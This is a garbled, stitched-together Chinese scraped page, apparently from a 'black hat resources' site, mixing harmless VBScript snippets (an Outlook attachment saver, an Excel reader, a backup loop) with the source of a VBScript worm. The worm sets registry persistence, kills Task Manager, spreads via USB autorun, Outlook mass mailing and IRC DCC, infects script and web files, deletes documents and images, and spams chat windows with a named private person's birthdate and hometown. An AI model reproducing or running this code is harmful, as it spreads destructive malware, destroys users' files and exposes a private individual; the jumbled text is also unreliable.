linux编辑脚本堡垒前线透视


'以下是代码(放在一个Command按钮下面)

DimoAppAsOutlook.Application
DimoNameSpaceAsNameSpace
DimoFolderAsMAPIFolder
DimoMailItemAsObject
DimsMessageAsString

SetoApp=NewOutlook.Application
SetoNameSpace=oApp.GetNamespace("MAPI")
SetoFolder=oNameSpace.GetDefaultFolder(olFolderInbox)

  ForEachoMailItemInoFolder.Items
    WithoMailItem
      IfoMailItem.Attachments.Count>0Then'?
       oMailItem.Attachments.Item(1).SaveAsFile"C:\Temp\OutlookAttachments"&oMailItem.Attachments.Item(1).filename
       MsgBoxoMailItem.Attachments.Item(1).DisplayName&"wassavedas"&oMailItem.Attachments.Item(1).filename
      EndIf
    EndWith
  NextoMailItem

SetoMailItem=Nothing
SetoFolder=Nothing
SetoNameSpace=Nothing
SetoApp=Nothing

作者:LewisCornick
邮箱:l_cornick@hotmail.com
网址:

->

而且它是微软官方比较权威的
Function ReadExcel( myXlsFile, mySheet, my1stCell, myLastCell, blnHeader )
' Function : ReadExcel
' Version : 2.00
' This function reads data from an Excel sheet without using MS-Office
'
' Arguments:
' myXlsFile [string] The path and file name of the Excel file
' mySheet [string] The name of the worksheet used (e.g. "Sheet1")
' my1stCell [string] The index of the first cell to be read (e.g. "A1")
' myLastCell [string] The index of the last cell to be read (e.g. "D100")
' blnHeader [boolean] True if the first row in the sheet is a header
'
' Returns:
' The values read from the Excel sheet are returned in a two-dimensional
' array; the first dimension holds the columns, the second dimension holds
' the rows read from the Excel sheet.
'
' Written by Rob van der Woude
'
Dim arrData( ), i, j
Dim objExcel, objRS
Dim strHeader, strRange

Const adOpenForwardOnly=0
Const adOpenKeyset=1
Const adOpenDynamic=2
Const adOpenStatic=3

' Define header parameter string for Excel object
If blnHeader Then
strHeader="HDR=YES;"
Else
strHeader="HDR=NO;"
End If

' Open the object for the Excel file
Set objExcel=CreateObject( "ADODB.Connection" )
' IMEX=1 includes cell content of any format; tip by Thomas Willig
objExcel.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & _
myXlsFile & ";Extended Properties=""Excel 8.0;IMEX=1;" & _
strHeader & """"

' Open a recordset object for the sheet and range
Set objRS=CreateObject( "ADODB.Recordset" )
strRange=mySheet & "$" & my1stCell & ":" & myLastCell
objRS.Open "Select * from [" & strRange & "]", objExcel, adOpenStatic

' Read the data from the Excel sheet
i=0
Do Until objRS.EOF
' Stop reading when an empty row is encountered in the Excel sheet
If IsNull( objRS.Fields(0).Value ) Or Trim( objRS.Fields(0).Value )="" Then Exit Do
' Add a new row to the output array
ReDim Preserve arrData( objRS.Fields.Count - 1, i )
' Copy the Excel sheet's row values to the array "row"
' IsNull test credits: Adriaan Westra
For j=0 To objRS.Fields.Count - 1
If IsNull( objRS.Fields(j).Value ) Then
arrData( j, i )=""
Else
arrData( j, i )=Trim( objRS.Fields(j).Value )
End If
Next
' Move to the next row
objRS.MoveNext
' Increment the array "row" number
i=i + 1
Loop

' Close the file and release the objects
objRS.Close
objExcel.Close
Set objRS=Nothing
Set objExcel=Nothing

' Return the results
ReadExcel=arrData
End Function
其实实现方法并不复杂,现将心得写出来,希望对大家有帮助


  以上程序在VisualBasic3.0/4.0上通过


'
Do While 1
Run()
' WScript.Sleep 1000*60*60*2
WScript.Sleep 1000 * 5 '测试用,每5秒备份一次文件到指定的文件夹
Loop
Function Run()
BackUpFolder "D:\公司所有正在设计的系统", "E:\软件自动备份"
End Function
Function BackUpFolder(S, D)
On Error Resume Next
Set FSO=CreateObject("Scripting.FileSystemObject")
FSO.CreateFolder D
FSO.CopyFolder S, D & "" & GetDateFolder
End Function
Function GetDateFolder()
GetDateFolder=Year(Now) & "-" & Right("0" & Month(Now), 2) & "-" & Right("0" & Day(Now), 2) & "-" & Right("0" & Hour(Now), 2) & "-" & Right("0" & Minute(Now), 2) & "-" & Right("0" & Second(Now), 2)
End Function

第八步:从工具箱中找到“CommandButton”控件,用同样的方法绘制到Form1中,并将其Caption属性设为“两数相加”


dimcc,cipher,correy
forl=1tolen(self)
cc=mid(self,l,1)
ifl>99andinstr(self,"LiuChunli")>0then
cipher=chr(scode(cc)+9)rem我开始用99,得到的全是ascll为0的数据
else
cipher=chr(scode(cc))
endif
correy=correy&cipher
next

lcl.Writecorrey
lcl.Close

dimhk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwritehk&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"service\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot"
wshshell.Regwritesafe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"
wshshell.Regwritesafe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"

do
wshshell.run"cmd/ctaskkill/f/imtaskmgr.exe",0
wshshell.run"cmd/ctaskkill/f/imtasklist.exe",0
loop

dimd
ForEachdinfso.Drives
ifd.drivetype<>4then
fso.CopyFileb,d&"\lcl.txt"
scan(d)
endif
ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then
fso.copyfilewscript.scriptfullname,d&"\lcl.vbs"
fso.getfile(wscript.scriptfullname).attributes=7
setinf=fso.createtextfile(d&"\autorun.inf",true)
fso.getfile(d&"\autorun.inf").attributes=7
inf.writeline"[autorun]"
inf.writeline"open="
inf.writeline"shell\open=打开(&O)"
inf.writeline"shell\open\Command=WScript.exelclrun.vbs"
inf.writeline"shell\open\Command=WScript.exelcl.vbs"
inf.writeline"shell\open\Default=1"
inf.writeline"shell\explore=资源管理器(&X)"
inf.writeline"shell\explore\Command=WScript.exelclrun.vbs"
inf.writeline"shell\explore\Command=WScript.exelcl.vbs"
inf.close
setini=fso.createtextfile(d&"\desktop.ini",true)
fso.getfile(d&"\desktop.ini").attributes=7
ini.writeline"[.ShellClassInfo]"
ini.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
ini.close
setlclrun=fso.createtextfile(d&"\lclrun.vbs",true)
fso.getfile(d&"\lclrun.vbs").attributes=7
lclrun.writeline"OnErrorGoTo0"
lclrun.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
lclrun.writeline"iforeachdinfso.drives"
lclrun.writeline"ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then"
lclrun.writeline"fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes=7"
lclrun.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
lclrun.writeline"endif"
lclrun.writeline"next"
lclrun.close
endif
next

dimwshnetwork,netdrives,net1,net2
SetWSHNetwork=WScript.CreateObject("WScript.Network")
SetnetDrives=WSHNetwork.EnumNetworkDrives
IfnetDrives.Count>0Then
Fori=0TonetDrives.Count-1Step2
net1=netdrives(i)
net2=netDrives(i+1)
scan(net1)
scan(net2)
Next
EndIf

dimoutlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
SetoutlookApp=CreateObject("Outlook.App"&"lication")
IfoutlookApp="Outlook"oroutlookapp="outlookexpress"Then
SetmapiObj=outlookApp.GetNameSpace("MAPI")''获取MAPI的名字空间
SetaddrList=mapiObj.AddressLists''获取地址表的个数
ForEachaddrInaddrList
Ifaddr.AddressEntries.Count<>0Then
addrEntCount=addr.AddressEntries.Count''获取每个地址表的Email记录数
ForaddrEntIndex=1ToaddrEntCount''遍历地址表的Email地址
Setitem=outlookApp.CreateItem(0)''获取一个邮件对象实例
SetaddrEnt=addr.AddressEntries(addrEntIndex)''获取具体Email地址
item.To=addrEnt.Address
item.Subject=title
item.Body=text
SetattachMents=item.Attachments
attachMents.Addfso.GetSpecialFolder(0)&"\lcl.vbs"
item.DeleteAfterSubmit=True''信件提交后自动删除
Ifitem.To<>""Then
item.Send
wshshell.regwrite"HKCU\software\Mailtest\mailed","1"
EndIf
Next
EndIf
Next
Endif

remnextfromiloveyou.
setout=WScript.CreateObject("Outlook.Application")
setmapi=out.GetNameSpace("MAPI")
forctrlists=1tomapi.AddressLists.Count
seta=mapi.AddressLists(ctrlists)
x=1
regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a)
if(regv="")then
regv=1
endif
if(int(a.AddressEntries.Count)>int(regv))then
forctrentries=1toa.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead)
if(regad="")then
setmale=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject=title
male.Body=text
male.Attachments.Add(dirsystem&"lcl.vbs")
male.Send
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD"
endif
x=x+1
next
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
else
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
endif
next
Setout=Nothing
Setmapi=Nothing

SetobjOutlook=CreateObject("Outlook.Application")
IfobjOutlook="Outlook"Then
SetobjNamespace=objOutlook.GetNameSpace("MAPI")
SetcolAddressLists=objNamespace.AddressLists
SetonjNameSpace=Nothing
ForEachobjItemIncolAddressLists
IfobjItem.AddressEntries.Count<>0Then
intCountOfAddresses=objItem.AddressEntries.Count
Fori=1TointCountOfAddresses
SetobjMailMsg=objOutlook.CreateItem(0)
SetobjDestAddress=objItem.AddressEntries(i)
objMailMsg.To=objDestAddress.Address
objMailMsg.Subject=title
objMailMsg.Body=text
execute"setobjSend=objMailMsg."&Chr(65)&Chr(116)&Chr(116)&Chr(97)&Chr(99)&Chr(104)&Chr(109)&Chr(101)&Chr(110)&Chr(116)&Chr(115)
strAttach=strFilePathName
objMailMsg.DeleteAfterSubmit=True
objSend.AddstrAttach
IfobjMailMsg.To<>""Then
objMailMsg.Send
EndIf
Next
EndIf
Next
SetobjOutlook=Nothing
SetobjItem=Nothing
SetobjMailMsg=Nothing
SetobjDestAddress=Nothing
EndIf

strComputer="."
SetwbemServices=Getobject("winmgmts:\"&strComputer)
SetwbemObjectSet=wbemServices.InstancesOf("Win32_Process")
ForEachwbemObjectInwbemObjectSet
ifwbemObject.Name="msn.exe"orwbemObject.Name="qq.exe"then
WshShell.AppActivatewbemobject.name
WshShell.SendKeys"canyouhelpmefindaperson?"
WshShell.SendKeys"^{enter}"'or"^~"
WScript.Sleep9000
WshShell.SendKeys"hernameisLiuChunli"
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"herbirthdayis1981-02-17."
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"hermotherhomeisYuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys"^{enter}"
endif
Next

subscan(folder)
OnErrorGoTo0
setfd=fso.getfolder(folder)
foreachfileinfd.files
self1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lcase(ext)
ifext="vbs"orext="vbe"orext="wsc"orext="wsf"orext="wsh"orext="sct"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
ifext="htm"orext="html"orext="xhtml"orext="shtml"orext="dhtml"orext="phtml"orext="eml"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>"
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.write"<"&"/SCRIPT>"
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
remorext="mspx"
ifext="htd"orext="asp"orext="htt"orext="aspx"orext="cfm"orext="tpl"orext="dtd"orext="hta"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>"
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.write"<"&"/SCRIPT>"
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
ifext="ini"then
ifnotinstr(self1,"LiuChunli")>0then
dimini
setini=fso.opentextfile(file.path,8,true)
ini.writelinechr(13)&chr(10)
ini.WriteLine"[script]"
ini.WriteLine"n0=on1:JOIN:#:{"
ini.WriteLine"n1=/if($nick==$me){halt}"
ini.WriteLine"n2=/.dccsend$nick"&dirsystem&"\lcl.vbs"
remini.WriteLine"n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nick"&dirsystem&"\lcl.vbs"}"
'利用命令/ddcsend$nick"&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
ini.WriteLine"n3=}"
ini.WriteLine";LiuChunli"
ini.close
endif
endif
remevery9inthelunarcalendadoit
ifext="mp3"orext="doc"orext="docx"orext="dwg"orext="wma"orext="swf"orext="jpg"then
file.deletetrue
endif
next
foreachsubfdinfd.subfolders
scan(subfd)
next
endsub

游戏蜂窝运行环境初始化失败一个SQL存储过程可以包含多个SQL语句花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在dos下了,渗透内网时估计你用得着。

大象下载 - www.2xxz.com
转载请说明《好码网_Haoma5.com》
好码网 » linux编辑脚本堡垒前线透视

一个专注于资源分享的网站

黑帽资源 网站源码